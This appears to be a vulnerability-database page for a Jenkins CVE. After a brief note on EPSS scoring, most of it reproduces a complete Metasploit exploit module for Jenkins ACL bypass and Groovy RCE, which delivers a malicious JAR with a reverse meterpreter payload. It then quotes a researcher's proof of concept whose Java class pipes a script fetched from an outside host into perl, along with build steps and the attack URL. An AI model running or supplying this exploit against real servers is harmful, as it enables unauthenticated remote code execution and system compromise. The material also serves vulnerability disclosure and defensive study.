CVE-2019-1003001 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE', 'Description' => %q{ This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. }, 'Author' => [ 'Orange Tsai', # Discovery and PoC 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2019-1003000'], # Script Security ['CVE', '2019-1003001'], # Pipeline: Groovy ['CVE', '2019-1003002'], # Pipeline: Declarative ['EDB', '46427'], ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'], ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'], ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'], ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'] ], 'DisclosureDate' => '2019-01-08', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', 'Version' => Gem::Version.new('2.137') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] }, 'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive! )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('URIPATH') end =begin http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] =end def check checkcode = CheckCode::Safe res = send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1('/search/index'), 'vars_get' => {'q' => 'a'} ) unless res && (version = res.headers['X-Jenkins']) vprint_error('Jenkins not detected') return CheckCode::Unknown end vprint_status("Jenkins #{version} detected") checkcode = CheckCode::Detected if Gem::Version.new(version) > target['Version'] vprint_error("Jenkins #{version} is not a supported target") return CheckCode::Safe end vprint_good("Jenkins #{version} is a supported target") checkcode = CheckCode::Appears if res.body.include?('Administrator') vprint_good('ACL bypass successful') checkcode = CheckCode::Vulnerable else vprint_error('ACL bypass unsuccessful') return CheckCode::Safe end checkcode end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS # HACK: Both HttpClient and HttpServer use datastore['SSL'] ssl = datastore['SSL'] datastore['SSL'] = false start_service('Path' => '/') datastore['SSL'] = ssl print_status('Sending Jenkins and Groovy go-go-gadgets') send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1, 'vars_get' => {'value' => go_go_gadget2} ) end # # Exploit methods # =begin http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai =end def go_go_gadget1(custom_uri = nil) # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin') return normalize_uri(acl_bypass, custom_uri) if custom_uri normalize_uri( acl_bypass, '/descriptorByName', '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile' ) end =begin http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; =end def go_go_gadget2 ( <<~EOF @GrabConfig(disableChecksums=true) @GrabResolver('http://#{srvhost_addr}:#{srvport}/') @Grab('#{vendor}:#{app}:#{version}') import #{app} EOF ).strip end # # Payload methods # # # If you deviate from the following sequence, you will suffer! # # HEAD /path/to/pom.xml -> 404 # HEAD /path/to/payload.jar -> 200 # GET /path/to/payload.jar -> 200 # def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri} requested") unless %w[HEAD GET].include?(request.method) vprint_error("Ignoring #{request.method} request") return end if request.method == 'HEAD' if request.uri != payload_uri vprint_error('Sending 404') return send_not_found(cli) end vprint_good('Sending 200') return send_response(cli, '') end if request.uri != payload_uri vprint_error('Sending bogus file') return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") end vprint_good('Sending payload JAR') send_response( cli, payload_jar, 'Content-Type' => 'application/java-archive' ) # XXX: $HOME may not work in some cases register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") end def payload_jar jar = payload.encoded_jar jar.add_file("#{app}.class", exploit_class) jar.add_file( 'META-INF/services/org.codehaus.groovy.plugins.Runners', "#{app}\n" ) jar.pack end =begin javac Exploit.java import metasploit.Payload; public class Exploit { public Exploit(){ try { Payload.main(null); } catch (Exception e) { } } } =end def exploit_class klass = Rex::Text.decode_base64( <<~EOF yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL AAAA EOF ) # Replace length-prefixed string "Exploit" with a random one klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}") end # # Utility methods # def payload_uri "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar" end def vendor @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join end def app @app ||= Faker::App.name.split(/[^[:alpha:]]/).join end def version @version ||= Faker::App.semantic_version end end

In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code? By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)! void processOtherServices(ClassLoader loader, File f) { try { ZipFile zf = new ZipFile(f) ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods") if (serializedCategoryMethods != null) { processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) } ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners") if (pluginRunners != null) { processRunners(zf.getInputStream(pluginRunners), f.getName(), loader) } } catch(ZipException ignore) { // ignore files we can't process, e.g. non-jar/zip artifacts // TODO log a warning } } JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this: void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each { GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() } } Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code! Here is the full exploit: public class Poc { public Poc(){ try { String payload = "curl orange.tw/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } } $ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners $ find . ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar tw/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ... PoC: http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange;